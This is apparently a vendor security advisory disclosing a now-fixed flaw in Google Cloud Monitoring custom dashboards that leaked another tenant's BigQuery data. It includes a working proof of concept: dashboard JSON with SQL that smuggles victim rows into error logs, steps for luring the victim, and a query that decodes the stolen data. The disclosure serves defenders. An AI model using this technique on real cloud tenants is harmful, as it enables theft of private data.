Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Google Cloud Platform (GCP) Cloud Monitoring Cross-Tenant BigQuery Leak with Custom Dashboard

High

Synopsis

Tenable Research has identified and responsibly disclosed a data exfiltration vulnerability in Google Cloud Monitoring. This flaw allowed an attacker to leak sensitive data from a victim's BigQuery datasets by abusing the Observability Analytics widget in custom dashboards.

Cloud Monitoring dashboards are executed automatically when browsing, and the widgets are executed with the viewer’s permissions. An attacker could create a dashboard containing Observability Analytics widgets configured with malicious SQL queries. These queries were designed to raise errors based on data in datasets in other Google Cloud tenants (the victim’s project) for which the attacker had no permissions. The attacker could then grant the victim permissions to the dashboard. When the viewer browses to the dashboard, the queries will run, and the victim’s private BigQuery data will be exfiltrated to the attacker’s project logs. 

 

Proof of Concept:

  1. Make sure Log Analytics is active and that at least one log view is available
  2. Give the victim’s principal IAM permissions in the attacker’s tenant
  3. Create a custom Cloud Monitoring dashboard
  4. Add an Observability Analytics widget with any valid query, choosing the BigQuery engine in the settings
  5. Use the JSON editor to insert a malicious JSON

 

{

  "displayName": "ExfilTest",

  "dashboardFilters": [],

  "mosaicLayout": {

    "columns": 48,

    "tiles": [

      {

        "height": 1,

        "width": 1,

        "widget": {

          "title": "offset0",

          "id": "",

          "timeSeriesTable": {

            "columnSettings": [],

            "dataSets": [

              {

                "tableTemplate": "",

                "timeSeriesQuery": {

                  "opsAnalyticsQuery": {

                    "queryExecutionRules": {

                      "useReservedSlots": true

                    },

                    "queryHandle": "[QUERY_HANDLE]",

                    "savedQueryId": "",

                    "sql": "SELECT\n  ERROR(CONCAT('offset0: ', TO_BASE64(\n    CAST(\n      TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES\n    ))\n  ))\nFROM (\n  SELECT t\n  FROM\n    `[ATTACKER_LOGVIEW]` AS l\n    CROSS JOIN `[VICTIM_DATASET]` AS t\n  LIMIT 1 OFFSET 0\n);\n"

                  },

                  "outputFullDuration": false,

                  "unitOverride": ""

                }

              }

            ],

            "displayColumnType": false,

            "metricVisualization": "NUMBER"

          }

        }

      },

      {

        "xPos": 2,

        "height": 1,

        "width": 1,

        "widget": {

          "title": "offset1",

          "id": "",

          "timeSeriesTable": {

            "columnSettings": [],

            "dataSets": [

              {

                "tableTemplate": "",

                "timeSeriesQuery": {

                  "opsAnalyticsQuery": {

                    "queryExecutionRules": {

                      "useReservedSlots": true

                    },

                    "queryHandle": "[QUERY_HANDLE]",

                    "savedQueryId": "",

                    "sql": "SELECT\n  ERROR(CONCAT('offset0: ', TO_BASE64(\n    CAST(\n      TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES\n    ))\n  ))\nFROM (\n  SELECT t\n  FROM\n    `[ATTACKER_LOGVIEW]` AS l\n    CROSS JOIN `[VICTIM_DATASET]` AS t\n  LIMIT 1 OFFSET 1\n);\n"

                  },

                  "outputFullDuration": false,

                  "unitOverride": ""

                }

              }

            ],

            "displayColumnType": false,

            "metricVisualization": "NUMBER"

          }

        }

      }

    ]

  }

}

 

 

  1. Apply Changes, you should see widgets that don’t run due to a lack of permissions
  2. Share the dashboard with the victim and wait for them to click on the email, or get them to browse to the URL some other way, such as CSRF
  3. Once the victim views the dashboard, query the logs to reconstruct the data

 

SELECT CAST( FROM_BASE64( REGEXP_EXTRACT( -- grab the base64 run after the word `offset` proto_payload.audit_log.status.message, r'^offset\d+:\s+([A-Za-z0-9+/=]+)' ) ) AS STRING ) FROM `[ATTACKER_LOGVIEW]` WHERE severity = "ERROR" AND starts_with(proto_payload.audit_log.status.message, 'offset') ORDER BY timestamp DESC

 

Solution

Google has resolved the issue by stopping auto run of log analytics queries. Queries involving resources which do not share an ownership boundary and a custom dashboard will now display a warning message to ask users to check if the query is safe, and manually initiate running the query in charts, once confirmed.

Disclosure Timeline

October 30, 2025 - Tenable reports the finding to Google
November 5, 2025 - Google requests clarification about the reproduction steps
November 6, 2025 - Tenable clarifies reproduction steps, and sends improvements to the PoC
November 11, 2025 - Google requests additional clarification about the reproduction steps
November 12, 2025 - Tenable clarifies
November 17, 2025 - Google requests additional clarification about the reproduction steps
November 18, 2025 - Tenable clarifies
November 25, 2025 - Google accepts the bug and assigns an S1 severity
December 4, 2025 - Google awards a bounty
December 7, 2025 - Tenable confirms and requests details of the fix once they are available
January 4, 2026 - Tenable requests an update
January 7, 2026 - Google updates that product teams are still working on a mitigation
January 15, 2026 - Tenable gives a heads-up that the disclosure date is approaching
January 22, 2026 - Google updates that the fix is rolling out, Tenable acknowledges and requests additional details regarding the fix
January 27, 2026 - Google provides details regarding the fix

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

× Contact our sales team